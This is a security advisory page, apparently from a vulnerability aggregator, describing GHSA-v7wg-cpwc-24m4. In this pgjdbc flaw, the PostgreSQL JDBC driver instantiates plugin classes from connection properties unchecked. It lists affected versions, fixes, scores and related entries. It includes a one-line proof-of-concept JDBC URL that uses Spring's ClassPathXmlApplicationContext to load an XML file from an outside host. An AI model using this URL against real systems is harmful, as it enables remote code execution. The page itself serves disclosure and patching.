Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-v7wg-cpwc-24m4

Опубликовано: 02 фев. 2022
Источник: github
Github: Прошло ревью
CVSS3: 7

Описание

pgjdbc Does Not Check Class Instantiation when providing Plugin Classes

Impact

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Here's an example attack using an out-of-the-box class from Spring Framework:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

The first impacted version is REL9.4.1208 (it introduced socketFactory connection property)

Пакеты

Наименование

org.postgresql:postgresql

maven
Затронутые версииВерсия исправления

>= 9.4.1208, < 42.2.25

42.2.25

Наименование

org.postgresql:postgresql

maven
Затронутые версииВерсия исправления

>= 42.3.0, < 42.3.2

42.3.2

EPSS

Процентиль: 89%
0.04424
Низкий

7 High

CVSS3

Дефекты

CWE-665
CWE-668
CWE-74

Связанные уязвимости

CVSS3: 7
ubuntu
больше 3 лет назад

pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.

CVSS3: 7
redhat
больше 3 лет назад

pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.

CVSS3: 7
nvd
больше 3 лет назад

pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was found in the jdbc driver for postgresql database while doing security research. The system using the postgresql library will be attacked when attacker control the jdbc url or properties. pgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties. However, the driver did not verify if the class implements the expected interface before instantiating the class. This can lead to code execution loaded via arbitrary classes. Users using plugins are advised to upgrade. There are no known workarounds for this issue.

CVSS3: 7
debian
больше 3 лет назад

pgjdbc is the offical PostgreSQL JDBC Driver. A security hole was foun ...

CVSS3: 9.8
fstec
больше 3 лет назад

Уязвимость драйвера JDBC pgjdbc для подключения Java-программ к базе данных PostgreSQL, позволяющая нарушителю выполнить произвольный код

EPSS

Процентиль: 89%
0.04424
Низкий

7 High

CVSS3

Дефекты

CWE-665
CWE-668
CWE-74